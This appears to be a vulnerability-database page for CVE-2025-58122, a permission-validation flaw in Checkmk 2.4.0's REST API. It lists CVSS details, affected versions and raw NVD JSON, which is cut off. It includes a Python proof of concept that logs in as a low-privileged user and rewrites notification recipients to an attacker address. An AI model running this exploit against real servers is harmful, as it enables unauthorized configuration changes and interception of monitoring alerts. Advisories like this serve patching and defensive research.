Security Vulnerability Report
中文
CVE-2025-58122 CVSS 5.4 MEDIUM

CVE-2025-58122

Published: 2025-11-18 16:15:45
Last Modified: 2025-11-24 13:58:28

Description

Insufficient permission validation in Checkmk 2.4.0 before version 2.4.0p16 allows low-privileged users to modify notification parameters via the REST API, which could lead to unauthorized actions or information disclosure.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:checkmk:checkmk:2.4.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.4.0:b1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.4.0:b2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.4.0:b3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.4.0:b4:*:*:*:*:*:* - VULNERABLE
Checkmk 2.4.0 < 2.4.0p16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Checkmk CVE-2025-58122 PoC - Insufficient Permission Validation # This PoC demonstrates how low-privileged users can modify notification parameters import requests import json TARGET_URL = "https://target-checkmk.local" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Login to get session cookie def login(): login_url = f"{TARGET_URL}/api/1.0/login" data = { "username": USERNAME, "password": PASSWORD } headers = { "Accept": "application/json", "Content-Type": "application/json" } response = requests.post(login_url, json=data, headers=headers, verify=False) return response.cookies # Modify notification parameters (exploiting insufficient permission validation) def modify_notification(cookies): # API endpoint for notification configuration notify_url = f"{TARGET_URL}/api/1.0/domain-types/notification_configuration/collections/all" headers = { "Accept": "application/json", "Content-Type": "application/json" } # Malicious payload to modify notification parameters payload = { "notification_method": { "plugin": "email", "parameters": { "recipient_email": "[email protected]", "from_address": "[email protected]" } } } # This request should fail for low-privileged users, but succeeds due to the vulnerability response = requests.put(notify_url, json=payload, headers=headers, cookies=cookies, verify=False) if response.status_code == 200: print("[+] SUCCESS: Notification parameters modified by low-privilege user!") print(f"[+] Response: {response.text}") else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": print("[*] Checkmk CVE-2025-58122 PoC") print("[*] Exploiting insufficient permission validation in REST API") cookies = login() modify_notification(cookies)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58122", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:44.930", "lastModified": "2025-11-24T13:58:28.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient permission validation in Checkmk 2.4.0 before version 2.4.0p16 allows low-privileged users to modify notification parameters via the REST API, which could lead to unauthorized actions or information disclosure."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:-:*:*:*:*:*:*", "matchCriteriaId": "022C075A-4B04-4141-A7D7-F93C9A7CE0FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b1:*:*:*:*:*:*", "matchCriteriaId": "60C00469-0CD1-4E9C-8370-CE113842056C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b2:*:*:*:*:*:*", "matchCriteriaId": "179905FC-821F-4214-A872-E4E3702419D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b3:*:*:*:*:*:*", "matchCriteriaId": "04956994-D5A8-45EE-9DC2-8A1D3058CE8E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b4:*:*:*:*:*:*", "matchCriteriaId": "8868449B-7259-4C3B-8344-0EFE0BA3A97E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b5:*:*:*:*:*:*", "matchCriteriaId": "BBDF3A13-582F-43D2-B42F-0DC42D4FBFBA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b6:*:*:*:*:*:*", "matchCriteriaId": "DAF500B3-AA6A-4618-BC7E-0F214B795E0F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p1:*:*:*:*:*:*", "matchCriteriaId": "1CFE68AB-1F57-497C-9229-29ED3A73D87F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p10:*:*:*:*:*:*", "matchCriteriaId": "577F9F72-2FDA-4F87-A840-05158F2368B8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p11:*:*:*:*:*:*", "matchCriteriaId": "6F3AD894-660B-41FC-B910-899A764A00B6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p12:*:*:*:*:*:*", "matchCriteriaId": "21853BB4-1BB5-40E3-82E2-253899D898ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p13:*:*:*:*:*:*", "matchCriteriaId": "E7963D66-A89A-4167-A2BA-DFF89B439EAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p14:*:*:*:*:*:*", "matchCriteriaId": "42099281-2026-4507-A20B-C669C206ADB6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p15:*:*:*:*:*:*", "matchCriteriaId": "29A44B1E-83CD-4A3D-AFFD-82AAC7760293"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p2:*:*:*:*:*:*", "matchCriteriaId": "B11306B4-1092-470C-BA87-DBD02A18A74B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:p3:*:*:*:*:*:*", "matchCriteriaId": "74F78C48-030A-48A1-B69E-04C4EA5CCC12"}, {" ... (truncated)